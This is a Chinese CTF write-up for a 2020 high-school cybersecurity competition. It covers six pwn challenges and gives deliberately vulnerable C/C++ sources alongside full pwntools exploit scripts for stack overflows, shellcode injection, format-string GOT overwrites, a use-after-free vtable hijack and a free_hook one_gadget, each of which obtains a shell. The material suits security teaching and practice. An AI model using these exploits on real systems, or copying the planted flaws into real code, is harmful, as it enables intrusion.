2020年 第三届全国中学生网络安全竞赛
初赛
初赛终榜
blind
思路
- 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
- 通过观察发现,如果发生了栈溢出再输入
#exit
会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数
源代码
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
void backdoor(){
system("/bin/sh");
}
void echo(){
char buf[32];
puts("The echo server is starting...");
puts("Type '#exit' to exit.");
while(1){
printf("msg:");
scanf("%s",buf);
if(!strcmp(buf, "#exit"))
return;
puts(buf);
}
}
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
puts("Welcome to mssctf2020.");
printf("Here is a backdoor left by eqqie: %p\n\n\n",backdoor);
while(1){
int pid = fork();
if(pid){ // main
wait(NULL);
}
else{
echo();
puts("The echo server is stopping...");
exit(0);
}
}
}
exp
from pwn import *
#context.log_level = "debug"
def get_socket():
return remote("mssctf.eqqie.cn", 10000)
#return process("./blind")
offset = 1
p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"\n"), 16)
p.close
while True:
p = get_socket()
p.sendafter(b"msg:",b"A"*offset+b"\n")
p.sendafter(b"msg:",b"#exit\n")
ret = p.recvuntil(b"starting...")
if b"stopping" not in ret:
print("offset is:",offset)
p.sendafter(b"msg:",b"A"*offset+p64(backdoor)+b"\n")
p.sendafter(b"msg:",b"#exit\n")
p.interactive()
break
else:
offset+=1
print("offset+1")
p.close()
whisper
思路
- say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
- 通过调试可以计算出保存在栈上的第二次输入处的指针。
- 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。
源代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void my_init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
return;
}
char *say_hello() {
char name[24];
char *p;
memset(name, 0, sizeof(name) + 8);
puts("input your name:");
read(0, name, 32);
p = strdup(name);
printf("hello, %s\n", p);
return p;
}
void say_goodbye() {
puts("i see, goodbye.");
return;
}
int main() {
char *p;
char buf[64];
my_init();
p = say_hello();
puts("young man, what do you want to tell me?");
scanf("%s", buf);
say_goodbye();
return 0;
}
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)
io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak: ' + hex(leak))
shellcode_place = leak - 0x50
info('shellcode_place: ' + hex(shellcode_place))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') + p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()
baby_format
思路
- 这是一个格式化字符串利用的题
- 题目原先限制了
printf
次数,所以需要先在限制次数内泄露出栈和libc
地址并修改循环计数变量
- 通过构造栈上的二级指针向栈上某个位置写入一个指向
printf_got
的指针
- 用上一步构造出的指针修改
printf
的got表
- 当循环次数用尽后会用printf输出之前用户输入的
name
,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了
源代码
#include<cstdio>
#include<cstdlib>
#include<unistd.h>
char msg1[48];
char msg2[64];
char name[16];
char msg3[64];
void prepare(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void read_input(char *buf, unsigned int size){
int i = 0;
while(i<size){
if(read(0, (buf+i), 1)==-1){
break;
}
else{
if(*(buf+i)=='\n'){
*(buf+i) = '\0';
break;
}
i++;
}
}
}
int main(){
int timeout = 2;
prepare();
printf("Input your name:");
read_input(name, 16);
puts("Welcome to mssctf_2020!");
do{
printf("Leave me your msg: ");
read_input(msg1, 48);
sprintf(msg2, "You said that %s", msg1);
printf(msg2);
}
while(timeout--);
sprintf(msg3, "Welcome to XDU, %s!", name);
puts(msg3);
return 0;
}
tips
本题的演示exp有多次4字节写所以容易出现io卡住的情况,可以尝试分解成两次2字节写来解决
exp
from pwn import *
import time
#p = process("./baby_format")
p = remote("mssctf.eqqie.cn", 10002)
elf = ELF("./baby_format")
libc = ELF("./libc.so.6")
context.log_level = "debug"
#gdb.attach(p, "b printf\nc\n")
#gdb.attach(p, "b *0x40084c\nc\n")
printf_plt = elf.symbols[b"printf"]
puts_got = elf.got[b"puts"]
p.sendafter("Input your name:", b";/bin/sh;echo \x00\n")
p.recvuntil(b"Welcome to mssctf_2020!\n")
#leak
payload1 = b"||%9$p||%11$p||\n"
p.sendafter("Leave me your msg: ", payload1)
p.recvuntil(b"||")
libc_base = int(p.recvuntil(b"||",drop=True),16) - 0x20840
stack_leak = int(p.recvuntil(b"||",drop=True),16)
stack1 = stack_leak - 0xec
stack2 = stack_leak - 0xb8
print("libc_base", hex(libc_base))
print("stack_leak", hex(stack_leak))
print("stack1", hex(stack1))
print("stack2", hex(stack2))
#modify loop
print("modify loop")
low_bytes = stack1 & 0xFFFF
payload2 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload2)
p.sendafter("Leave me your msg: ", b"%6c%37$n\n")
#overwrite got_addr+0 to stack
print("overwrite got_addr+0 to stack")
low_bytes = stack2 & 0xFFFF
payload3 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload3)
payload4 = b"%" + str(int(puts_got-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload4)
#overwrite printf_got-printf_got+2
print("overwrite printf_got-printf_got+2")
system = libc_base + libc.symbols[b"system"]
print("system", hex(system))
low_bytes = system & 0xFFFF
payload5 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload5)
#overwrite got_addr+2 to stack
print("overwrite got_addr+2 to stack")
low_bytes = stack2 & 0xFFFF
payload6 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload6)
payload7 = b"%" + str(int(puts_got+2-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload7)
#overwrite printf_got+2-printf_got+4
print("overwrite printf_got+2-printf_got+4")
low_bytes = (system >> 16) & 0xFFFF
payload8 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload8)
for i in range(14):
p.sendafter("Leave me your msg: ", b"AAAA\n")
time.sleep(0.5)
p.interactive()
决赛
决赛终榜
gift
前置知识
思路
- 程序模拟了个人信息管理系统,提供了如下功能
- 创建个人信息
- 显示个人信息
- 删除个人信息
- 自定义长度留言
- 通过IDA逆向分析得知,bss全局变量区域会保存一个指针指向用户通过new关键字创建的对象,同时通过检查删除功能的实现发现该指针变量在对象销毁后没有置NULL,由此推测存在UAF(use after free)。于是进一步检查show功能。
show功能调用了对象中的某个方法来显示用户信息,同时还发现对象具有一个可以getshell的方法,只是不能直接调用。由此可以得知大概攻击思路:利用UAF修改虚表指针使得show功能能够getshell。
接下来进入动态调试步骤:
使用创建信息功能后检查堆内存
0x615c10: 0x0000000000000000 0x0000000000000041
0x615c20: 0x0000000000401e58 0x0000000000000014
0x615c30: 0x0000000000615c40 0x0000000000000008
0x615c40: 0x4141414141414141 0x0000000000000000
刚刚创建的信息(name: AAAAAAAA, age: 20)被存入了一个0x40大小的堆块
由C++虚表知识可知堆块头存放了vtable的地址,往后则是个人信息
检查0x401e58
(虚表)处内存
0x401e58: 0x0000000000401788 0x0000000000401932
- 明显是两个函数的地址,第一个是getshell函数,第二个是show info功能,调用show info时从vtable+0x8取出函数指针,只要把对象内存头部改为vtable-0x8就可以通过show info来调用getshell方法
攻击步骤
- 创建信息
- 删除信息
- 创建长度为0x30的留言
- 使用show info功能getshell
exp
from pwn import *
p = process("./gift")
#context.log_level = "debug"
def create(name, age:int):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Your name: ")
p.sendline(name)
p.recvuntil(b"Your age: ")
p.sendline(str(age).encode())
def show():
p.recvuntil(b"> ")
p.sendline(b"2")
def delete():
p.recvuntil(b"> ")
p.sendline(b"3")
def msg(content, length:int):
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"How long? ")
p.sendline(str(length).encode())
p.recvuntil(b"content: ")
p.sendline(content)
def exp():
vtable = 0x401e58
chunk_size = 0x40
create("eqqie",20)
delete()
msg(p64(vtable-0x8), 0x30)
gdb.attach(p)
show()
p.interactive()
if __name__ == "__main__":
exp()
源代码
//g++ -fstack-protector -no-pie -o uaf --std=c++17 uaf.cpp;chmod +x uaf;strip uaf;
#include<iostream>
#include<string>
#include<cstdio>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
class student{
private:
virtual void gift(){
//std::cout<<"Welcome to XDU next time."<<std::endl;
std::cout<<"Your gift is a hard shell, and I hope you can use it to resist all fear."<<std::endl;
system("/bin/sh");
}
protected:
int age;
std::string name;
public:
virtual void log_info(){
std::cout<<"-----------------------------------------"<<std::endl;
std::cout<<"My name is "<<name<<", and I am "<<age<<" years old."<<std::endl;
std::cout<<"-----------------------------------------"<<std::endl;
}
};
class mss_player : public student{
public:
mss_player(std::string name,int age){
this->name = name;
this->age = age;
}
virtual void log_info(){
student::log_info();
std::cout<<"I'm a mssctf player."<<std::endl;
}
};
mss_player *my_info=NULL;
void welcome(){
char msg[] = R"+*( __ __ _ __ _____ _ _
| \/ | ___ ___ ___ | |_ / _| | ___| (_) _ __ __ _ | |
| |\/| | / __| / __| / __| | __| | |_ | |_ | | | '_ \ / _` | | |
| | | | \__ \ \__ \ | (__ | |_ | _| | _| | | | | | | | (_| | | |
|_| |_| |___/ |___/ \___| \__| |_| |_| |_| |_| |_| \__,_| |_|
)+*";
std::cout<<msg<<std::endl;
}
void prepare(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
alarm(0x3c);
}
int menu(){
int choice;
puts("\n1. Create my info.");
puts("2. Show my info.");
puts("3. Delete my info.");
puts("4. Leave some message to eqqie.");
puts("5. exit.");
printf("> ");
scanf("%d",&choice);
return choice;
}
void create(){
std::string name;
int age;
std::cout<<"Your name: ";
std::cin>>name;
std::cout<<"Your age: ";
std::cin>>age;
mss_player *mp = new mss_player(name, age);
my_info = mp;
std::cout<<"[+]Done!"<<std::endl;
}
void show(){
mss_player *mp = my_info;
mp->log_info();
std::cout<<"[+]Done!"<<std::endl;
}
void del(){
mss_player *mp = my_info;
delete mp;
std::cout<<"[+]Done!"<<std::endl;
}
void msg(){
int len;
std::cout<<"How long? ";
std::cin>>len;
char *msg = new char[len];
std::cout<<"content: ";
std::cin>>msg;
std::cout<<"[+]Done!"<<std::endl;
}
int main(){
prepare();
welcome();
std::cout<<"Welcome to mssctf final, guys!"<<std::endl;
std::cout<<"Eqqie leaves a small gift for each player, but you need some tips to open it~\n"<<std::endl;
std::cout<<"Now you can manage your info to get the gift >"<<std::endl;
while(1){
switch(menu()){
case 1:
create();
break;
case 2:
show();
break;
case 3:
del();
break;
case 4:
msg();
break;
case 5:
std::cout<<"Bye~"<<std::endl;
exit(0);
default:
printf("Sorry I don't konw...");
}
}
return 0;
}
fishing master
前置知识
思路
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if args.G:
io = remote('0.0.0.0', 9999)
elif args.D:
io = gdb.debug('./fishing_master')
else:
io = process('./fishing_master')
# gdb.attach(io)
'''
do you know how to use this fish hook for flag?
'''
payload = b'%7$saaaa' + p64(0x0000000000600fe8)
io.sendlineafter('tell me your name, and maybe i will teach you how to fish if i like it.', \
'qqq')
io.sendlineafter('nice name and i like it, i\'ve remembered you in my mind.', '%13$p')
io.recvuntil('0x')
leak = int(b'0x' + io.recv(12), 16)
success('leak: ' + hex(leak))
libc.address = leak - 240 - libc.sym['__libc_start_main']
info('libc_base: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))
ogg = libc.address + 0x4527a
info('ogg: ' + hex(ogg))
# gdb.attach(io)
io.sendafter('What do you think of this new fish hook?', p64(free_hook))
io.sendafter('i do know you will like it, i hope it can make you a master of fishing.', \
p64(ogg))
'''
What do you think of this new fish hook?
i do know you will like it, i hope it can make you a master of fishing.
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# gdb.attach(io)
io.interactive()
源代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char *p;
void func0() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
return;
}
void func1() {
char name[8];
puts("tell me your name, and maybe i will teach you how to fish if i like it.");
read(0, name, 8);
puts("nice name and i like it, i've remembered you in my mind.");
p = strdup(name);
return;
}
void func2() {
char c[9];
puts("then i decide to send you a gift for our friendship.");
read(0, c, 8);
printf(c);
return;
}
void func3() {
char d[9];
puts("What do you think of this new fish hook?");
read(0, d, 8);
puts("i do know you will like it, i hope it can make you a master of fishing.");
read(0, (void *) * (unsigned long *) d, 8);
// printf("0x%lx\n", * (unsigned long*) d);
}
void func4() {
puts("but i have to go, my friend. see you next time.");
free(p);
return;
}
int main() {
func0();
func1();
func2();
func3();
func4();
return 0;
}
wallet
前置知识
- 原题:pwnable.kr -> passcode
- 栈溢出
- scanf函数
思路
- begin存在栈溢出最大可以刚好覆盖
check
中的password1
,而由于check中的scanf第二参数的不规范写法,导致只需要提前在begin中将password1覆盖为puts_got
- 然后在第一个scanf的时候连带写入调用
system("/bin/cat flag")
前的push的语句(32位传参规则),从而绕过if的判断,提前cat flag
exp
from pwn import *
p=process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"
gdb.attach(p,"b *0x8048685\nc\n")
p.recvuntil(b"EXIT\n")
p.sendline(b'1')
puts_got = elf.got[b"puts"]
call_sys_addr = 0x0804862D
name = b'A'*104 + p32(puts_got) + str(call_sys_addr).encode() + b"\b" + str(call_sys_addr).encode() + b"\b"
p.sendline(name)
p.interactive()
源代码
#include <stdio.h>
#include <stdlib.h>
void check(){
int password1;
int password2;
printf("Now try the First password : ");
scanf("%d", password1);
fflush(stdin);
printf("Now try the Second password : ");
scanf("%d", password2);
printf("Let me think......\n"); //优化为puts
if(password1==338150 && password2==13371337){
printf("OMG!YOU SUCCESS!\n");
system("/bin/cat flag");
}
else{
printf("You Failed! Try again.\n");
exit(0);
}
}
void begin(){
char name[108];
printf("Show me your name : ");
scanf("%108s", name);
printf("Welcome %s! :P\n", name);
}
int main(void){
int num;
printf("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.\n");
printf("1.JUST OPEN IT!\n");
printf("2.EXIT\n");
scanf("%d",&num);
if(num==1){
begin();
check();
}else{
return 0;
}
printf("Here is something you like.\n");
return 0;
}